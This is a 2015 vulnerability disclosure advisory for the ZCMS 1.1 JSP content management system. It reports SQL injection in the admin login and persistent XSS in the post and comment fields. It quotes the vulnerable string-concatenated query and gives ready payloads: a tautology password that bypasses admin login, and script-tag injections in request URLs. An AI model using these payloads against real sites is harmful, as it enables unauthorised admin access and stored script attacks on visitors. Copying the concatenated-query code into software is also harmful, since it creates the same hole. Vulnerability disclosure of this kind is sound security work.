[+] Credits: John Page ( hyp3rlinx )
[+] Domains: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-ZCMS0612.txt
ZCMS 1.1 JavaServer Pages Content Management System
SQL Injection & Persistent XSS
SQL Injection: Login to admin area requires a password but is easily bypassed using classic SQLInjection method because application uses concatenated user input to construct SQL queries.
squerry="SELECT COUNT(username) AS usercount FROM "+TABLE_PREFIX+"users WHERE status = 0 AND username = '"+username+"' AND password = '"+request.getParameter("pass") +"' AND type = 1 ;";
So we just supply an Admin password like ---> HELL' OR '2'='2 which will resolve as true!
We can also inject persisten XSS payload directly to MySQL database subverting all character filtering leveraging existing SQLInjection vulnerabilities.
Another persistent XSS vector is here in author field for comments: http://localhost:8081/ZCMS_1.1/ZCMS_1.1/index.jsp?dir=editpost&p=[page number]
localhost:8081/ZCMS_1.1/ZCMS_1.1/?dir=login Enter 'admin' for username field Enter HELL' OR '2'='2 for the pass field
http://localhost:8081/ZCMS_1.1/ZCMS_1.1/?dir=editpost&p=1&title="<script>alert(1)</script> &content=<script>alert(1)</script>&author=<script>alert(1)</script> SATAN&visibility=1&type=1&comm=0
http://localhost:8081/ZCMS_1.1/ZCMS_1.1/index.jsp?dir=editpost&p=[page number] Inject <script>alert(666)</script> in author input field.
Vendor Notification: NA June 12, 2015 : Public Disclosure
Request Method(s): [+] GET & POST
Vulnerable Product: [+] ZCMS_1.1
Vulnerable Parameter(s): [+] pass, title, content, author
Affected Area(s): [+] Admin, CMS
[+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.